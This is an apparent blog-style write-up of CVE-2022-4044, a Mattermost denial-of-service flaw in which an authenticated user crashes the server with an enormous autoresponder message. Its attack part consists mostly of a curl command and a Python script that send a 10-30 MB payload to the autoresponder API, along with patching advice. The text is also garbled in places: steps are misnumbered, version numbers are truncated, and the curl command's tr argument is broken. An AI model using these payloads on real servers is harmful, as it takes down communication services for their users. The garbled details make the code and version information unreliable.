TL;DR:  
A vulnerability in Mattermost (CVE-2022-4044) lets any logged-in user crash the server just by setting a huge autoresponder message. Let's break down how this simple bug can take down your Mattermost instance, show example code, exploration steps, and link to all official references.

What is Mattermost?

Mattermost is a popular open-source messaging platform—think Slack, but self-hosted. Companies big and small use it for internal communication.

The Vulnerability in Simple Terms

CVE-2022-4044 (see NVD page) is a "Denial of Service" (DoS) bug. Here's what happens:

There's no limit on how big your autoresponder message can be.

- If a user sets a *huge* message (think tens of megabytes), the server gobbles up tons of memory when someone DM's that user.

Eventually, the server runs out of memory or crashes trying to handle it.

It doesn't require admin rights—any authenticated user can do this.

Mattermost versions before 7.5.2 and 7.6. are affected

- Fixed in versions ≥7.5.2, 7.6. (See Mattermost Security Bulletin)

2. Set your autoresponder like this (pseudocode, but easy in CURL or browser dev tools)

curl -i -X PUT \
  -H 'Authorization: Bearer YOUR_PERSONAL_TOKEN' \
  -H "Content-Type: application/json" \
  https://your.mattermost/api/v4/users/me/autoresponder/enable \
  -d '{
    "autoresponder_active": true,
    "autoresponder_message": "'"$(head -c 30000000 </dev/zero | tr '\' X)"'"
  }'

When the autoresponder kicks in, the server tries to generate and deliver the massive message.

- Server memory/CPU spikes.

No message size limit, no sanitization.

- Serializing and sending huge messages can choke the server process, especially under repeated requests.

Below is a minimal Python script showing the attack flow

import requests

MM_URL = "https://your.mattermost";
TOKEN = "your-mattermost-token-here"

giant_message = "X" * 10_000_000  # 10 MB, repeat as needed

headers = {
    "Authorization": f"Bearer {TOKEN}",
    "Content-Type": "application/json",
}

payload = {
    "autoresponder_active": True,
    "autoresponder_message": giant_message,
}

resp = requests.put(
    f"{MM_URL}/api/v4/users/me/autoresponder/enable",
    json=payload,
    headers=headers
)
print(resp.status_code, resp.text)

No special permissions required—this is a user-level exploit.

- Depending on infrastructure, a small team or attacker could bring down corporate communications with no advanced skill needed.

Upgrade immediately:

- Upgrade Notes (Mattermost)

If you *can't* upgrade, disable the autoresponder feature altogether.

3. Monitor memory/cpu usage and autoresponder fields for abuse until you can patch.

- CVE-2022-4044 (NVD)
- Mattermost Security Update for CVE-2022-4044
- Mattermost GitHub (source)
- CVE Details / Vuln DB

Conclusion

CVE-2022-4044 is a classic example of a small oversight (no field length check) in user-controlled input leading to a big problem. Always sanitize and limit the size of any text field—especially ones that can trigger a server-side process.

If you're running Mattermost, patch now!

For more deep-dives like this, follow Mattermost’s own security bulletins and stay patched. Stay safe!

Timeline

Published on: 11/23/2022 06:15:00 UTC
Last modified on: 11/26/2022 03:36:00 UTC